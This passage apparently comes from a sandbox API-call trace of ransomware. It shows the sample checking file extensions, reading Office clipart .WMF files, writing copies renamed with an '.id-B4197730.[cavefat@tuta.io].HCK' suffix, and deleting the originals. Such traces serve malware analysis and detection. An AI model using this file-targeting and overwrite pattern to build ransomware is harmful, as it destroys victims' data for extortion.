(lpString1=".zip", lpString2=".WMF") returned 1 [0231.023] lstrlenW (lpString=".rar") returned 4 [0231.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".bz2") returned 4 [0231.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".7z") returned 3 [0231.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".dbf") returned 4 [0231.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.024] lstrlenW (lpString=".1cd") returned 4 [0231.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.024] lstrlenW (lpString=".jpg") returned 4 [0231.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.024] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.024] lstrlenW (lpString="J0105276.WMF") returned 12 [0231.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.024] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=19240) returned 1 [0231.024] CloseHandle (hObject=0x4b0) returned 1 [0231.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0231.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.025] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.025] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.026] GetLastError () returned 0x0 [0231.026] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0231.027] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0231.028] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.028] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.028] SetEndOfFile (hFile=0x4b4) returned 1 [0231.029] CloseHandle (hObject=0x4b4) returned 1 [0231.029] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.029] SetEndOfFile (hFile=0x4b0) returned 1 [0231.030] CloseHandle (hObject=0x4b0) returned 1 [0231.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString=".doc") returned 4 [0231.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString=".docx") returned 5 [0231.032] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.032] lstrlenW (lpString=".pdf") returned 4 [0231.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString=".xls") returned 4 [0231.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.032] lstrlenW (lpString=".xlsx") returned 5 [0231.032] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.032] lstrlenW (lpString=".ppt") returned 4 [0231.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString=".zip") returned 4 [0231.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.032] lstrlenW (lpString=".rar") returned 4 [0231.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString=".bz2") returned 4 [0231.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString=".7z") returned 3 [0231.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString=".dbf") returned 4 [0231.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString=".1cd") returned 4 [0231.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString=".jpg") returned 4 [0231.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.032] lstrlenW (lpString=".doc") returned 4 [0231.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString=".docx") returned 5 [0231.032] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0231.032] lstrlenW (lpString=".pdf") returned 4 [0231.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.032] lstrlenW (lpString=".xls") returned 4 [0231.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.032] lstrlenW (lpString=".xlsx") returned 5 [0231.032] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0231.033] lstrlenW (lpString=".ppt") returned 4 [0231.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.033] lstrlenW (lpString=".zip") returned 4 [0231.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.033] lstrlenW (lpString=".rar") returned 4 [0231.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.033] lstrlenW (lpString=".bz2") returned 4 [0231.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.033] lstrlenW (lpString=".7z") returned 3 [0231.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.033] lstrlenW (lpString=".dbf") returned 4 [0231.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.033] lstrlenW (lpString=".1cd") returned 4 [0231.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0231.033] lstrlenW (lpString=".jpg") returned 4 [0231.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.033] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.033] lstrlenW (lpString="J0105280.WMF") returned 12 [0231.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.034] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11540) returned 1 [0231.034] CloseHandle (hObject=0x4b0) returned 1 [0231.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0231.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.035] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.035] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.036] GetLastError () returned 0x0 [0231.036] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0231.037] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0231.038] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.038] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.038] SetEndOfFile (hFile=0x4b4) returned 1 [0231.038] CloseHandle (hObject=0x4b4) returned 1 [0231.038] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.038] SetEndOfFile (hFile=0x4b0) returned 1 [0231.041] CloseHandle (hObject=0x4b0) returned 1 [0231.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.042] lstrlenW (lpString=".doc") returned 4 [0231.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString=".docx") returned 5 [0231.042] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.042] lstrlenW (lpString=".pdf") returned 4 [0231.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString=".xls") returned 4 [0231.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.042] lstrlenW (lpString=".xlsx") returned 5 [0231.042] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.042] lstrlenW (lpString=".ppt") returned 4 [0231.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.042] lstrlenW (lpString=".zip") returned 4 [0231.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.042] lstrlenW (lpString=".rar") returned 4 [0231.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString=".bz2") returned 4 [0231.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString=".7z") returned 3 [0231.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.042] lstrlenW (lpString=".dbf") returned 4 [0231.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.042] lstrlenW (lpString=".1cd") returned 4 [0231.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.042] lstrlenW (lpString=".jpg") returned 4 [0231.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.043] lstrlenW (lpString=".doc") returned 4 [0231.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString=".docx") returned 5 [0231.043] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.043] lstrlenW (lpString=".pdf") returned 4 [0231.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString=".xls") returned 4 [0231.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.043] lstrlenW (lpString=".xlsx") returned 5 [0231.043] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.043] lstrlenW (lpString=".ppt") returned 4 [0231.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.043] lstrlenW (lpString=".zip") returned 4 [0231.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.043] lstrlenW (lpString=".rar") returned 4 [0231.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString=".bz2") returned 4 [0231.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString=".7z") returned 3 [0231.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.043] lstrlenW (lpString=".dbf") returned 4 [0231.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.043] lstrlenW (lpString=".1cd") returned 4 [0231.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0231.043] lstrlenW (lpString=".jpg") returned 4 [0231.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.043] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.043] lstrlenW (lpString="J0105282.WMF") returned 12 [0231.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.044] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4796) returned 1 [0231.044] CloseHandle (hObject=0x4b0) returned 1 [0231.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0231.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.044] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.045] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.045] GetLastError () returned 0x0 [0231.045] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0231.134] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0231.179] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.179] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.179] SetEndOfFile (hFile=0x4b4) returned 1 [0231.209] CloseHandle (hObject=0x4b4) returned 1 [0231.219] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.219] SetEndOfFile (hFile=0x4b0) returned 1 [0231.236] CloseHandle (hObject=0x4b0) returned 1 [0231.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString=".doc") returned 4 [0231.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString=".docx") returned 5 [0231.237] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.237] lstrlenW (lpString=".pdf") returned 4 [0231.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString=".xls") returned 4 [0231.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.237] lstrlenW (lpString=".xlsx") returned 5 [0231.237] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.237] lstrlenW (lpString=".ppt") returned 4 [0231.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString=".zip") returned 4 [0231.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.237] lstrlenW (lpString=".rar") returned 4 [0231.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString=".bz2") returned 4 [0231.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString=".7z") returned 3 [0231.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString=".dbf") returned 4 [0231.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString=".1cd") returned 4 [0231.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString=".jpg") returned 4 [0231.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.237] lstrlenW (lpString=".doc") returned 4 [0231.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.237] lstrlenW (lpString=".docx") returned 5 [0231.237] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.238] lstrlenW (lpString=".pdf") returned 4 [0231.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.238] lstrlenW (lpString=".xls") returned 4 [0231.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.238] lstrlenW (lpString=".xlsx") returned 5 [0231.238] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.238] lstrlenW (lpString=".ppt") returned 4 [0231.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0231.238] lstrlenW (lpString=".zip") returned 4 [0231.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.238] lstrlenW (lpString=".rar") returned 4 [0231.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.238] lstrlenW (lpString=".bz2") returned 4 [0231.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.238] lstrlenW (lpString=".7z") returned 3 [0231.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.238] lstrlenW (lpString="C:\\Program Files\\Microsoft 